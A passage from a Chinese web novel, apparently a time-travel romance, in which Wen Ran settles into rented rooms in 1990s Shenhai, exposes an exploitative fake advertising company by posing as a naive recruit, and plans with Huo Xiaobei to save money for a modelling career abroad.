霍骁北神情一瞬间变得冷峻,这大半天了老婆一眼都没往他这边瞧,明摆着就是心虚。 到底发生了什么,他现在还不能问。 憋着鼓气,霍骁北站起来,“你们先吃,我去买点东西。” 温苒这才敢抬头跟他对视,也只是一触即分,飞快挪开视线。 霍骁北脸色更冷了。 温苒觑着他离开的背影,心想待会儿一定要叮嘱田蜜离霍骁北远远的,她单纯没心眼,一定会被套出话来。 有胃病这件事温苒倒不是怕霍骁北知道后会担心她,也不是怕霍骁北为自己瞒着他生气,生气就生气反正能哄好。 她主要是怕霍骁拿着鸡毛当令箭,管她吃管她喝,那她要憋屈死了。 抱着某种侥幸心理,即便清楚霍骁北很快就会知道,温苒也总想要能拖一天是一天。 霍骁北出去很快回来,带着几杯热饮。 陈晨看着腾腾冒热气的热牛奶热粥,眼神中充满不解和疑惑。 不是,这大热天能把人热中暑,喝这些是不是不太合适 温苒就更心虚了,低着头恨不得把自己藏到桌子底下。 完了完了,霍骁北难道猜出什么了? 霍骁北坐下来神色如常,语气平平又随意:“喝冷饮对肠胃不好。” 温苒心里立马一个咯噔,完蛋完蛋,他真猜出来了! 田蜜给自己和温苒各挑一杯,愧疚道:“霍同志你想得真周到,我差点忘了苒苒胃不好,吃不了凉的辣的。” 霍骁北目光霎时变冷,偏头转向温苒,“嗯?什么时候的事?很严重?去医院看过没有?” 温苒肩膀塌下来,表情如丧考妣,这下真完了! 她打开南瓜粥的盖子,先吹了吹,才虚弱无比开口:“还好,没那么严重,就是平时多注意一些,很快就能恢复。” 温苒加重‘很快’两个字的语气。 霍骁北能信她才有鬼,刚才见她盯着辣鸡翅冰可乐一副想吃又不敢吃的样子,还以为是来例假肚子不舒服,没想到是因为没办法吃? 田蜜瞅瞅闺蜜,再瞅瞅闺蜜突然冷下脸的笔友,莫名觉着两人间的气愤有些古怪。 她这样迟钝都感觉出来了,最近几乎跟霍骁北形影不离从来没见过他情绪波动的陈晨当然早就发现了。 他疯狂往嘴里塞吃的,试图阻止开口八卦的冲动。 这俩人绝对有猫腻! 四个人的餐桌上,气氛一时古怪诡异。 直到田蜜吃饱,温苒逃也似的抓着她去结账。 陈晨见状赶紧嚼把嚼吧把满嘴东西咽下去,灌了杯可乐,抻着脖子看了眼柜台结账的俩女生,回头问霍骁北:“北哥,你是不是对你笔友有意思啊?” 他都没敢说‘喜欢’,主要这应该是两人第一次见面,一见钟情多少有点见色起意的意思。 虽说他北哥长得也不差,两人在一起了都有色可图。 但陈晨相信他北哥的人品。 霍骁北瞥他一眼,语气淡淡回:“笔友也是朋友,关心朋友,很奇怪吗?” 陈晨面上木着脸点点头表示明白,心里却道死鸭子嘴硬。 “北哥你笔友这么漂亮,来深海打工可要多注意,大城市人心险恶,她一看就没什么心眼,要小心被人骗了。” 有心眼就不会这么相信连面都没见过的笔友,幸亏他北哥不是坏人,不然反手把那姑娘卖了都不知道该去哪里哭? 霍骁北嗯了声:“我知道。” 被人骗不大可能,骗子遇上他媳妇儿该担心自己才对。 结完账,剩下的的打包,四个人收拾收拾,两个男生主动扛行李,打车前往下一站理工大学。 深海理工大学是华国数一数二的重点大学,一行人在学校南门下车,把行李寄存在门卫室,登记过后便进校参观。 这会儿正是晌午吃饭的时间,陈晨先上楼给舍友送汉堡,结果下来的时候全跟了下来。 霍骁北:“……” 他面无表情看着陈晨,陈晨目光游移,支支吾吾不打自招:“他们问我,我就说了……” 和笔友奔现多时髦的事,而且听说霍骁北的笔友还长得贼拉漂亮,谁能不好奇啊? 班长和两个舍友都是一手可乐一手汉堡,边吃边打量温苒和田蜜,咧着嘴等霍骁北介绍。 霍骁北无奈,先给温苒两人介绍:“这是我和陈晨的同学,郑峰、朱文喜、焦维新,弄堂的房子是郑峰同学帮忙找的。” 温苒和田蜜连忙道谢。 理工大学尤其是计算机系男女比例夸张道让人绝望,郑峰上大学四年和女生说话的次数屈指可数,这会儿那叫一个不好意思,脸红了说话都结结巴巴:“我我我也没做什么,你们觉得合适就行。” “还还还有,谢谢你们请客……” 班长焦维新上前挤开他,热情地跟两个女生自我介绍,“我叫焦维新,是他们班长,两位同志初来乍到千万不要见外,有困难一定要和组织讲!” 说着他还腾出手来往衣服上蹭蹭,然后朝温苒两人伸过去。 陈晨一屁股撞开他,“班长你不是要去帮班任组织班会吗?赶快去! 误了时间当心班任对你有意见,影响你留校评价!” 焦维新为不能和两位美丽的女士握手遗憾,叹了口气,“那我先去了,你们带两位女同志好好参观一下我们学校,这是组织留给你们的任务,务必圆满完成!” 陈晨嘴角抽抽着回他:“知道知道,记住记住,行了不说了,我们去完成任务了!” 焦维新三两口吃完剩下的食物,挥挥手一路小跑着离开了。 等他走远,陈晨长出一口气,扭头就跟温苒和田蜜抱怨:“他可太能呱呱了,脸皮还厚,搞不好晚上给你俩接风洗尘,他都得厚着脸皮蹭一顿呢!” 朱文喜推了推鼻梁上的眼镜,笑骂道:“你可小点声,当心被他听到宰你几顿!” 霍骁北班里下午开会,还是临近放学那会儿,因此参观学校的时间很宽松。 大家说说笑笑,两三个小时过去,几乎把学校能去的地方都去了。 田蜜跟温苒说悄悄话,表情不忿,“你二叔和你表姐真不是东西,你辛辛苦苦考上大学,结果便宜了他们!” 这大学多好啊,要是苒苒父母没出事,她也能在这样的环境里生活学习。 温苒安慰她:“反正那个专业我也不喜欢,再说理工大学是重点大学环境才这么好,我那个学校听说很一般。” 田蜜还是觉得好友亏了,“你看不上那也不能便宜了她们!” 温苒给她塞块小蛋糕,“吃点甜的心情好,你放心,才不会便宜她们,我举报信都寄出去了,她们会付出代价的。” 任原主二叔人脉再广再黑白通吃,那也只是在南城那个小地方,就算省里不理会举报信,长京的大学总会重视,一旦长京事发,她二叔做的那些好事就彻底捂不住了。 田蜜这才感觉好受点了,吃着甜滋滋带着奶香的小蛋糕,迎着微风漫步在大学校园的林荫道上,感觉自己也成了一名人人羡慕的大学生。 可惜,回归现实,她只是个高考三百多分的学渣…… 快到开会时间,温苒和田蜜也跟去蹭了堂‘课’。 坐在最后一排,田蜜脑袋四处张望,小声嘟囔:“这大学教室就是不一样哈!” 温苒现在整个人的心神分成两半,一半在田蜜那边,一半在身侧霍骁北身上。 最后一排就几个座位,有两三个座位坏了,几个人挤一挤,还要分一个坐到前面一排。 霍骁北这厮仗着没人看见,桌底下贴着她的腿,手臂也故意靠近她。 滚热的温度烫得温苒一个激灵,炸毛一般嗖地把腿撤远。 她鼓起腮,悄悄捏起拳头。 占她便宜是吧? 霍骁北不紧不慢继续贴上去,偏头假模假式关心她:“不舒服?” 田蜜听见这话,担心地看过来,“苒苒你是不是胃又难受了?” 温苒瞪霍骁北一眼,咬牙切齿:“没有,就是有点热。” 霍骁北另一边的陈晨闻言,立马去推他另一边的郑峰,“峰哥你去开下风扇。” 即便是一线大城市的重点大学,旧教学楼里也没有安空调。 电扇在头顶呼呼地转悠,给吵吵嚷嚷地教室带来一丝凉意。 这是几个班一起的大班会,也是开学后第一次班会,除了一些老生常谈的话题外,就是毕业论文和外出实习两个内容。 放学铃声一响,班任就宣布散会。 班长焦维新亲自送班任离开,到门口时转身几个箭步横穿教室,冲到最后一排兴奋道:“走吧!咱去哪家下馆子?” 还真让陈晨说对了,凑热闹和占便宜焦维新最积极。 不过也是因为有了焦维新,火锅店的包厢里,七个人的局硬是吵出了十七个的气势。 温苒胃不好,只能吃清淡的菌菇和骨汤锅。 并且在霍骁北严密的视线监督中,她连块辣肠都没能吃一嘴。 从火锅店出来天刚擦黑,田蜜后知后觉涌上不安,紧紧贴在温苒身边。 天呐!她竟然跟一群刚认识的人混到现在这个时间? 去门卫室拿上行李,一行人一个不落地打车前往老弄堂。 按焦维新的话说,去认认门,他作为班长理应清楚班上每位同学的下落。 车子开走出去没多久,温苒就感觉肩膀一沉,扭头一看田蜜睡着了。 这姑娘也是心大,有心眼没心眼都是一阵阵的,比量子运动还难猜。 弄堂街道狭窄,出租车在路口停下,温苒叫醒田蜜,跟着霍骁北往巷子里走。 户主老夫妻大爷姓张婆婆姓刘,一行人到的时候,两人正在一楼客厅看电视剧,这么多人突然出现吓她们一跳。 刘婆婆捂着胸口,“哦哟这么多人,吵得我心口突突跳!” 霍骁北道歉:“这两位就是我代替租房的女同志,这几位是我同学,想过来看看,今晚会留宿。我们人多,马上收拾好,不会打扰婆婆休息。” 刘阿婆虎着脸摆手,“把婆婆当什么人了?尽管去收拾,不要故意大吵大闹就行,婆婆不是斤斤计较的人!” 张大爷摇着扇子点头,问道:“你们两个小姑娘是今天签合同,还是再等等?” 温苒带着田蜜上前,“就现在吧,麻烦婆婆和阿公了。” 张大爷起身去拿东西。 霍骁北把行李交给同学,让陈晨先上楼。 刘婆婆八卦的眼神在温苒和霍骁北身上直打转,她眼睛精明着呢,这小伙子时不时就瞟一眼那漂亮姑娘,这绝对是有意思啊! 拿到租房合同,温苒先拉着田蜜到一旁角落,给她讲了讲签合同时的注意事项,什么样的合同有坑,讲完考问一遍,复述得七七八八才拿笔签下名字。 温苒拉开包拿钱,田蜜一看也要开包,温苒拦住她,说道:“待会儿我把咱俩的房租一块给了,你的那份等只有我们两个的时候再说。” 田蜜听到只好作罢,她心想,可能这就是爸妈和苒苒教锅的财不外露的道理吧。 签完合同交完钱,温苒又向老夫妻打听了打听附近的情况,才和霍骁北上楼。 看着几人的背影,刘婆婆一脸神秘地跟丈夫八卦:“你看见没,骁北那小伙子对那个苒苒有意思呢?” 张大爷表情费解,骁北那木头脸上还能看出东西来? 楼上对门两个房间房门大开,属于温苒和田蜜的房间客厅里堆着两人的行李,另一个房间里跟来的霍骁北的三个同学正在就睡沙发和打地铺比赛。 霍骁北站在门口,看着和闺蜜手挽手的自己媳妇儿,只能遗憾止步。 “我就不进去了,房间打扫过,你们简单收拾收拾就先休息,有什么事明天再说。” 田蜜看向温苒,温苒想起什么来低头翻包拿出一沓钱来,上前几步塞给他,然后飞快退开。 “今天多谢你和你同学,这是你帮忙代缴的押金。” “听阿婆说你还帮忙添置了家具,劳烦你列个单子。” “还有,明天见。” 霍骁北抿抿嘴角,不情不愿张口:“明天见。” 咔地轻轻一声,温苒旁边的田蜜把门关上。 霍骁北盯着黑黢黢的门板,像是能盯出个窟窿,然后能从窟窿里看见媳妇儿似的。 陈晨猫着腰轻手轻脚来到他身后,捂嘴偷笑两声,猛地跳起来重重拍了下霍骁北的肩膀。 “北哥,嘛呢?” 霍骁北:“……” 在想什么时候能跟老婆公开关系,然后光明正大住在一起。 陈晨惦记着组到一半的电脑,拽着心事重重的男人进了对门。 这边房间里,温苒烧上热水,出来和田蜜铺床归置行李。 两人一人一间房,都是临窗的房间,大小格局也一样。 铺好床冲个澡,闺蜜俩挤在一个房间睡了。 田蜜憋了一肚子话想说,结果刚沾上枕头就打起了呼。 温苒也累了一天,闭上眼就睡了过去。 对门却热闹了半宿,五个人装好电脑,安上软件和游戏,鼓捣了大半夜。 一夜过去,这天上午,长京某大学学生处收到一份与众不同的来信。 第133章 第133章九零国际超模3 知道温苒胃不好,霍骁北起了个大早去菜市场,买肉买菜买米买早餐,回来熬上粥。 搬进来得匆忙,出租屋里连冰箱都没有,霍骁北信了陈晨的邪,在电器商场定了一个外国品牌的新款冰箱,据说要从香港调货…… 早餐做好,客厅里三个闻着味起来,然后闯进陈晨房间,啪叽把浸了冷水的毛巾砸他脸上。 谁都别想偷懒睡大觉! 陈晨一个激灵睁开眼弹坐起来,只见眼前三个面目可憎的臭男人冲着自己狰狞大笑。 陈晨:“……” 他甩掉毛巾,嗷一声张牙舞爪扑上去,“拿命来!” 闹了一通,同学几个洗漱完捯饬好,人模人样地坐到餐桌前,分完筷子也不动,频频看向门口。 霍骁北给自己盛了碗粥,说道:“先吃,我留了她们的分量。” 几个人都不客气,你争我抢地开始吃早餐,并纷纷向霍骁北竖起大拇指。 “北哥没想到你还有这手艺?以后你女朋友有口福了!” 陈晨得意笑:“以后再说以后,现在跟北哥合租的我这个室友才是有福了,你们是没吃过北哥烧的菜,香得掉舌头了!” 他说完,大家羡慕嫉妒眼红地盯着他。 朱文喜说:“那不能够只便宜你,我和峰哥也要住到这边来!” 郑峰忙不迭点头,“这层不是还有一间空着么?我和大喜昨晚商量租下来,反正这学期学校课程少,住这边还方便找实习工作。” 焦维新傻眼了,“你们都出来住?毕业设计用电脑怎么办?” 话出口他懊恼地拍了下脑门,大早晨起来给他傻的,昨天忙活半宿不就是为了组装电脑吗? “你们四个人三台电脑,想什么时候用就什么时候用,真是太方便了!” 焦维新最羡慕这一点。 哪像学校机房还要抢预约? 机房电脑也是老古董,动不动就死机,简直能把人气死! 陈晨大方道:“班长你什么时候需要可以过来用。” 焦维新一听这话满血复活,“那我就先说声谢谢了,我一直在学校,有什么事情会及时通知你们。” 霍骁北点点头,“房主安了电话,待会儿我把号码给你,学校那边就麻烦班长了。” 吃完早餐,几个人抢着把碗刷了,陈晨带两个舍友下楼去租房,完了送焦维新和舍友到巷口打车回学校。 对门,两个姑娘累得狠了,睡到日上三竿才迷迷瞪瞪起来。 温苒被田蜜搂着,肩膀上一颗毛茸茸的脑袋蹭来蹭去。 “苒苒,好饿。” 温苒也有点饿,不过前段时间被饿狠了,后遗症除了很严重的胃病以外,饭量也变小了,倒不是特别饿。 偏头看了眼窗帘缝隙里洒进来的阳光,温苒知道,霍骁北肯定已经做好了饭菜,现在起床就能有现成吃。 磨蹭了大半天,两个姑娘才拖拖拉拉起来洗漱,刚换上衣服就听门被敲响。 田蜜冲过去开门,急着吃大餐的陈晨咧着嘴道:“起了,北哥做了饭菜,我过来叫你们去对门。” 田蜜愣了愣才点头,“哦哦,我和苒苒刚起,北哥还会做饭啊?” 她也跟着叫起了北哥,且并没有半点觉得不自在。 霍骁北虽然跟她们算是同龄人,但往哪儿一站那气势那不苟言笑的表情,好像就平白多了十来岁似的,差着辈儿了。 今天的午餐和昨天一样,只有四个人吃,菜式却更胜一筹,有鱼有肉喷香四溢令人食指大动。 陈晨给楼下房东夫妻送菜,霍骁北在厨房忙活最后几道清炒小炒。 田蜜凑到温苒耳边小声道:“苒苒,你这个笔友看起来真不错,是个好人。” 听见这话,温苒从满桌自己爱吃的菜上挪开目光,沉默了。 这傻姑娘,不会一顿饭就能收买她,让她觉着是个好人吧? 温苒语重心长教导她道:“蜜蜜,老话说得好知人知面不知心,老话还说路遥知马力日久见人心,你才认识他不到一天就人丁他是好人,实在太草率了。” 田蜜挠挠脸,表情困惑不解,“可不是你说的,你跟北哥通信的时候就知道他是个好人,所以才请他帮忙的吗?” 温苒哽住,她就是为了安慰这傻姑娘随口一说。 她飞快改口道:“那只是我的判断,而且是没见面的时候判断。我们以后跟人接触,不管是认识的还是不认识的,都应该多个心眼。” 温苒自己没有被骗的风险,哪个不长眼骗到她头上,她会让那人知道阎王殿的大门是谁家开的。 说这么多都是因为不放心田蜜这傻丫头。 她们来上海打工,田蜜一心想当裁缝,温苒要做模特,一时半会儿也凑不到一起去,温苒就担心田蜜没几个心眼再被人骗了。 霍骁北和他同学是田蜜来深海以后最先遇到的人,这很容易让她觉得深海都是好人。 饭后趁陈晨和田蜜进厨房洗碗,霍骁北终于能和媳妇儿说上几句悄悄话。 却不想刚说了几句‘晚饭想吃什么’‘胃还难受么’,话题就被温苒拐到了田蜜身上。 霍骁北:“……” 所以说,在系统上聊天时看到她和朋友一起来,他就猜到会有这么一天。 认真听完温苒的顾虑,霍骁北面无表情给出建议:“她是个成年人,她爸妈也放心她外出打工。” 言外之意,温苒能比田蜜爸妈还了解自己女儿吗? 温苒:“……” 满屋子醋味实在太酸了,霍骁北也真是,这么大人了,跟小姑娘计较。 温苒眨巴着杏眼把自己手塞给他,霍骁北马上攥得严严实实。 温苒:“……” 她晃了晃霍骁北手臂,“生气了?” 霍骁北斜睨她一眼,没说话。 但眼神的意思很明显:他不该生气? 温苒心虚抿嘴,好吧,她先是瞒着他,这会儿好不容易能说悄悄话还要讲别人,两人对换她能让霍骁北睡一年客厅…… 不过,咳,一般,实际上,霍骁北还没做过类似这种的过分事情。 温苒脑筋飞快,思考着哄男人的办法,这时厨房洗碗的两人走了出来,温苒下意识甩开霍骁北的手,并后退一大步。 做完温苒就后悔了,偷偷瞥一眼霍骁北的表情,寒着脸冷飕飕的。 温苒:“……” 还没哄好,又添一笔。 然后她就被赶出来了。 霍骁北关门前的面目是那样冷酷无情,明明就是生气了,还美其名曰他要赶论文。 温苒大度,不和他小气鬼一般计较。 和田蜜回对门她们的出租屋,歇了歇,归置归置剩下的行李 ,在屋里四处溜达一圈,温苒和田蜜商量起了接下来找工作的事。 田蜜打算先去服装市场看看,她没别的特长,刷完洗盘子这种体力活她也干不了,做买衣服的销售导购还可以。 田蜜完全不担心找不到工作怎么办,她家中经商条件好,父母也宠,来深海名义上是打工,实际上父母更多知识希望她出来见见世面。 温苒就难了。 原主想当一名模特,但即便在一线大城市深海,模特也是个十分小众且又不赚钱且被污名化的职业。 整个九十年代是华国各行各业产生巨变的年代,都在朝着商业化的道路狂奔。 模特,或者说时尚行业也一样。 但不同的是,这个‘舶来’的职业在刚刚开放不足二十年的华国,几乎没有生存的土壤和空间。 模特的主要收入来源有T台走秀、广告和品牌合作,和其绑定最紧密的行业非服装行业莫属。 九十年代初,华国服饰解放,国外服装品牌陆续进入这片市场,高昂的价格仅有少数有钱人买账。 和国外服装行业每季度要推出新品抢占市场不同,时下国内老百姓更注重衣服的实用性,耐穿能穿夏天透气冬天保暖的衣服才值得买,而并非可以穿一季就扔、为了美观抛弃质量和实用性的快消品和装饰品。 服装行业是模特赖以生存的最大的土壤,土壤干枯没有营养,以至于颗粒无收。 国外服装品牌仍对华国市场处于观望状态,入驻华国也只是秉着有枣没栆先打两杆子的想法。 而国内服装行业,至今甚至没有发展出属于自己的品牌。 服装行业不景气,本该由服装品牌举办的T台走秀自然也组织不起来,也更加不会费力气请模特拍广告做宣传。 没有正当收入来源的模特,或是去走穴赚辛苦费,或是沦为陪酒模特,或是堕落到情色场所表演站台。 是以在许多人眼中,模特这个职业并不怎么正经。 以上只是大多数普通模特的境况,任何行业做到顶尖都会大不一样。 由于国内模特行业刚刚起步,市场有限,叫得出名字的模特也只有区区两三个。 同时也由于行业不景气,这些有名气不缺钱的模特自然而然转向娱乐圈发展。 温苒一番思考后不得不承认,她想完成原主做模特的心愿,首先要走向国际。 国外模特行业早就商业化,现在全球经济上行,利好奢侈品行业,依附其而生的模特可谓赚得盆满钵满。 据温苒所知,国内模特一场走秀的收入可能少则几十多则几百块钱,而国外时装周一场走秀的酬金高达上万美金。 这不是夸张。 如果是行业顶尖的模特,时装周走一次T台的收入甚至能达到十万美金,哪怕现在是二十世纪九十年代,这个数字也是刊登在报纸上真实存在的。 就算只为了那十万美金,温苒觉得自己也应该去国外试试水。 第134章 第134章九零国际超模4 但事已至此,暂时出现个问题。 温苒决定出国发展,霍骁北也去国外留学。 但问题是,温苒的目标是欧洲,霍骁北的留学地点在美国。 温苒忧愁叹气,苦中作乐地想,虽然华国以外是一片美食荒漠,虽然身处荒漠就已经很惨了还没有霍骁北给她做饭,但谁让她是为了事业啊?! 接下来几天,温苒和田蜜去附近的商场和服装批发市场寻摸一圈,帮田蜜在商场中一家服装店入职导购,之后温苒才专心自己的模特事业。 虽说这年头模特不赚钱,名声还不怎么好,但一般人想入行还真不容易。 温苒照着报纸研究了半个多月,才终于在某个犄角旮旯里找到一则广告公司的模特招聘广告。 骑了快一个小时自行车,温苒按照地址找到所谓的广告公司,原本的信心满满荡然无存。 狗屁广告公司在音像街后面,再往后据说就是不怎么正经的酒吧发廊一条街。 温苒跟人打听这家公司时,那些店主打量她的眼神都变得露骨了,就知道不是什么清白正经的公司。 费了些口舌跟一家年轻店主套话,温苒才知道,那家公司名义上是拍广告,但总会给模特下套,或者在合同上做手脚,或者拍到一半不给钱,使各种手段要求模特拍‘另外的照片’。 拍之前说得好听不会传出去,拍完这就是现成要挟的筹码。 远的不提,这条音像街上摆得满地都是的涩情杂志就来自那家‘广告公司’。 还有后面那条酒吧发廊街,很多陪酒模特也是被那家广告公司‘介绍’过去的。 温苒:“……” 这不得给他端了?! 温苒调转自行车头,决定不走了,模特什么的以后再说,现在她是伟大的暗访记者! 自行车寄放在店主这里,温苒孤身入虎穴,走进了广告公司的大门。 员工看到温苒那张漂亮脸蛋,蹭一下蹿过去,热情地招呼温苒。 温苒装作胆小懵懂,淡定地把摄像头对准公司内的陈设。 很快,被称作经理的男人出来,垂涎的眼神在温苒身上扫来扫去,还试图对温苒搂搂抱抱。 除了霍骁北,温苒还没被人占过便宜。 在经理的咸猪手伸过来前,温苒惊慌失措地蹦起来,大喊着有蟑螂,状似无意又踢又踹踩了经理好几脚,还抓起刚才员工给倒的热水丢到经理头上。 于是,便宜没占成,猥琐男经理喜提隔壁卫生所一日游。 经理下去,副经理兼摄影师顶上来。 他目的明确,就是无论如何把温苒留下来。 副经理先大谈大谈这次拍摄的收入,直接甩出一个两千块,见把温苒镇住,再谈下一份‘报酬’更高的工作。 员工在一边打配合,旁敲侧击温苒的个人情况。 温苒给自己安了个乡下来的、没文化没主见、家里重男轻女、她本人是个扶弟魔、为了钱再苦再累的活都能干的人设。 副经理适时做出承诺,如果温苒表现好,酬劳可以再增加。 员工极力鼓动温苒答应下来,温苒表现出一副动摇的样子。 这时候副经理让人拿上一份合同,让温苒签上自己的名字。 看到温苒落笔写下‘贾招娣’三个字,几人相视一笑。 温苒拍下合同内容,也勾唇一笑。 双方都很满意,温苒借口有约,说好明天再来拍摄。 副经理和员工一通委婉地恐吓,仗着贾招娣乡下来的胆小没见过世面,让她一定遵守合约,不然要么赔钱要么见公安。 温苒吓得连连保证,连‘住址’都因为慌乱吐露出去。 离开广告公司,温苒骑上自行车直奔报社。 报社编辑看到照片内容,惊得眼珠子险些掉出来,喜得嘴皮子差点笑裂了,直接把温苒奉为座上宾。 半小时后,温苒离开报社,兜里鼓鼓囊囊,心情却沉甸甸。 弄堂里,刘阿婆正坐在门口纳凉,转头瞧见大清早兴冲冲出门的漂亮姑娘垂头丧气地推着自行车回来。 刘阿婆就晓得了,这是又没找到工作。 等温苒走到跟前,刘阿婆好心安稳:“实在不行跟你朋友一样去商场工作,赚钱要紧的嘛。” 温苒停好自行车,听见这话以为房东阿婆担心她没钱交房租,只好把装有报社酬金的信封拿给她。 刘阿婆不明所以地接过来拆开,看到花花绿绿的一沓票子,一百元甚至有三张,眼珠子比报社主编瞪得都大,手抖得跟帕金森一样。 “哦哟你个小姑娘去抢银行啦?” 温苒抄了个凳子过去跟她坐到一块,摇摇头有气无力道:“没有,就是做了件好事。” 刘阿婆继续瞪眼睛,“做什么好事人家能给这么多钱?” 这年头老百姓的收入真不高,田蜜在大商场打工,一月的收入还不到二百块。 温苒这个信封里有三百六十块,因为她提供的证据实在太齐全,还有照片有录音,这个价格还是打折之后的。 温苒三言两语地解释一遍,刘阿婆的眼睛睁得更大了。 “你你你你这个小姑娘胆子怎么这么大?他们那么多人你不怕出事啊?” 就温苒这细胳膊细腿的,随便来个男人都能给她制住,到时候不发生点什么才叫不可能。 温苒抬头望天,托着腮忧愁叹气。 这是她碰到的最难的任务了。 温苒的智勇之举传到二楼,除了惊叹,众人的反应只有一个。 朱文喜满脸不赞同:“小温你一个姑娘出门在外应该以安全为主。” 其实照他说,温苒就不该去当那什么模特,正经找个工作才是正道。 田蜜拽着温苒胳膊,担心地转着圈打量她,“没受伤吧?” 温苒举起手臂向她展示自己的肱二头肌,“放心吧,来十个也动不了我一根手指头。” 霍骁北的古武技能升到满级后,花积分解锁了共享功能,虽然共享给温苒后降到了五级,但五级就是一般世界的顶级武力水平了,温苒出门能横着走。 陈晨听见这话扔掉正在择的菜,擦擦手站起来,“那咱俩比比谁力气大!” 今天必须把这姑娘嚣张目中无人地气焰压下去,让她知道天外有天人外有人,让她知道男人天生就比女人力气大,不然她到外头保准要吃亏! 温苒挑了挑眉,行吧,比就比,待会儿你别刨坑把自己埋了就行。 两人在餐桌两旁相对而坐。 朱文喜和郑峰端着菜盆站到陈晨旁边,边择菜边看热闹。 田蜜给温苒捏肩捶背,呼呼哈哈打气。 一场大战一触即发。 陈晨看看对面俩齐心协力的俩姑娘,再看看自己这边两个只顾看热闹的损友,最后转向沙发上两耳不闻窗外事一心翻看论文的霍骁北。 “北哥你别闲着,你来当裁判!” 霍骁北瞥了一眼,淡淡道:“那现在开始吧。” 陈晨:“……” 他怎么觉得,北哥对他一点信心也没有? 陈晨不服气地撸袖子,他还就不信了,他连温苒这小胳膊都掰不赢了? 结果,他秒输…… 手臂躺在餐桌上,陈晨眼前恍恍惚惚。 他输了…… 他输给了温苒那小姑娘…… 他连两秒都没坚持到… … 耳边是田蜜开心的喝彩声,陈晨捂着心口,噗通面朝下砸在桌子上。 他没脸见人了啊! 朱文喜和郑峰目瞪口呆,并且一致怀疑是陈晨故意放水。 但看陈晨天塌了一样的反应,两人又不确定了。 朱文喜拿胳膊肘杵杵羞愤欲死的陈晨,“真的假的?你是不是没用力?” 郑峰小声提醒,“晨儿你长点心,北哥明显对小温有意思,你可别动歪脑筋影响兄弟感情!” 陈晨爬起来瞪着他,拍桌子喊:“你不信你来!” 朱文喜搁下洗菜的脸盆,挤开陈晨坐下,“我来试试。” 他还就不信……不……信了信了信了! 朱文喜憋得脸红脖子粗,还是没能把温苒手臂撼动一丝一毫,算是彻底服气了。 他揉着酸疼的肱二头肌败下阵来,给大个子郑峰一个眼神,“峰哥你上,咱们656不能输!” 三秒后,郑峰也遗憾加入两人组。 三人组对视一眼,齐齐呼唤:“北哥——” 男人的脸面都靠你了! 温苒笑盈盈看着霍骁北,眨巴着眼睛暗示。 霍骁北合上论文,看着三个舍友问道:“菜都择好了?” 三人:“……” 见色忘义啊! 翌日,报纸上的新闻果然轰动深海。 据其后几天的报纸报道,当天广告公司就被查封,主要负责人尽数被捕,跟广告公司勾结的酒吧发廊老板也相继落网。 然而没过几天,温苒又揣着一兜暗访资料来到报社,然后带着三百块钱离开。 刘阿婆看到温苒垂头丧气回来,习惯性地想关心两句,却又被信封震惊了。 她看着温苒欲言又止,温苒搬着板凳在她身边坐下,忧愁叹气:“这次是个模特培训公司。” 刘阿婆:“……” 这也算东边不亮西边亮……吧? 模特事业四处碰壁无门,暗访记者红红火火。 温苒被打击到了,没出门,在房间里躺了两天。 趁田蜜上班,陈晨回家,朱文喜和郑峰回学校开会,霍骁北过来找媳妇儿说话。 温苒心累自闭,翻过身去,不想跟他说话。 不受媳妇儿欢迎的霍骁北:“……” 他硬挤上床,把朝思暮想的媳妇儿圈进怀里,“要不先试试当演员?” 国内模特市场几近于无,现在叫得上名号的那几个模特要么出国发展,要么去演戏。 在国内,模特的本职工作具有很大的可被替代性,像广告就更青睐明星拍摄而不是模特,因为品牌需要明星的名气打出市场。 如今国内的品牌意识还不强,除极个别全国家喻户晓的国营老品牌外,多是些地区性品牌。 这些老牌子不需要宣传,老百姓买东西就冲这些牌子。 而舶来的品牌目前大多只在一线城市设有门店,国外品牌比国内好是当下几乎所有华国百姓的共识,自然也不需要大肆宣传。 因此就连明星代言和广告市场都不温不火。 这次的任务看似平平无奇,实则给温苒出了个大难题。 温苒摇摇头,她不想在别的地方花费太多精力和时间。 再说除当模特以外,她还有自己的计划,譬如抽空读个服装设计之类的。 霍骁北思来想去,开始盘算手头的存款,“要不,直接去国外?” 温苒被现实打击后,也认为目前只有这一条路了。 所以当务之急,得攒钱! 国外生活成本高,她去之后也不知道什么时候才能赚到钱,加上房租水电的开支,少说得攒个大几万美金才行。 第135章 第135章九零国际超模5 温苒爬起来列了一张可以赚钱的工作清单。 这年头赚大钱的门路真不多,到二十一世纪初的头几年,公费留学还是大多数家庭留学的首选。 虽说等到九九年放开自费留学限制后,第一年的自费留学人数就远超公费留学。 但值得一提的是,自费留学成本之高,四年的学费生活费换算下来,少则十几万多则要百八十万。 数十万之巨,通常要倾尽中产家庭数十年来的所有积蓄,甚至于还要砸锅卖铁四处借贷。 所以不仅温苒要攒钱,在确定公费留学的名额之前,霍骁北也要攒钱。 霍骁北想了想说道:“学校外语学院跟校外企业合作,给学生提供勤工俭学的机会,明天我去领几份文件。” 温苒嗯嗯点头,笔译稿费达到千字一百的话,那每月收入一万块不在话下。 如果接几单口译,这个数字也许能翻一倍。 再来是炒股,这个需要一直盯盘,她和霍骁北肯定都忙,空闲的时候可以尝试。 再来是卖游戏软件。 计算机是温苒的老本行,编几个小游戏对她来说易如反掌。 但她不能光明正大地来,毕竟霍骁北三个舍友都是这个专业的学生,她一个高考四百多分的学渣在专业上吊打他们,想想就离谱。 倒是可以交给霍骁北,对外就说是他网友写的。 做好攒钱计划,温苒也没忘了好闺蜜。 等田蜜下班,两人来对门吃饭,温苒拉着她坐在沙发上,一副促膝长谈的架势。 从‘蜜蜜,你对接下来有什么计划’到‘你难道一直想在店里给别人打工卖衣服’,先把田蜜给整茫然了。 接着温苒话头一转,‘你不是喜欢裁衣服么?难道不想开一家自己的服装店?难道不想去专业的地方学习服装设计吗?’,三连问唤起田蜜埋藏在内心深处的梦想。 听到能有一家自己的服装店时,田蜜俩眼睛比灯泡还亮。 “我想!” “但是……我……” 田蜜挠着脸颊,犹犹豫豫支支吾吾,“开家店要很多钱……” 除非她跟父母张口,不然靠她自己要猴年马月了。 温苒微笑着拍了拍她的手背,“人要立志,无论什么事最怕你努力。” 她嗓音带着蛊惑意味:“蜜蜜,跟我一起出国,申请F国的服装设计专业,毕业回国创办属于华国的服装品牌,做大做强走向国际!” 温苒声音轻柔和缓,却将田蜜说得心潮澎湃热血沸腾。 田蜜握拳立志:“好!创办我们自己的服装品牌!” 被迫挪到餐桌工作的霍骁北:“……” 就静静看着媳妇儿忽悠小姑娘。 哪天田蜜连北都找不着,都不可能找不到她立下的志向。 